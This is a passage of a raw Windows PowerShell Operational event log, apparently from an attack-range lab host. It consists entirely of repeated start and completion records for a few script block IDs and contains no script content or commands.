ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988429 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988428 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988427 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988426 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988425 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:38 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988424 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988443 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988442 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988441 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988440 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988439 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988438 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988437 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988436 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988435 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988434 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988453 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988452 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988451 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988450 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988449 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988448 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988447 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988446 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988445 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:49 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988444 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988463 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988462 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988461 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988460 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988459 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988458 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988457 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988456 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988455 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988454 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988473 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988472 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988471 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988470 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988469 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988468 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988467 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988466 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988465 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:10:59 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988464 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988483 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988482 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988481 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988480 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988479 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988478 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988477 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988476 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988475 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 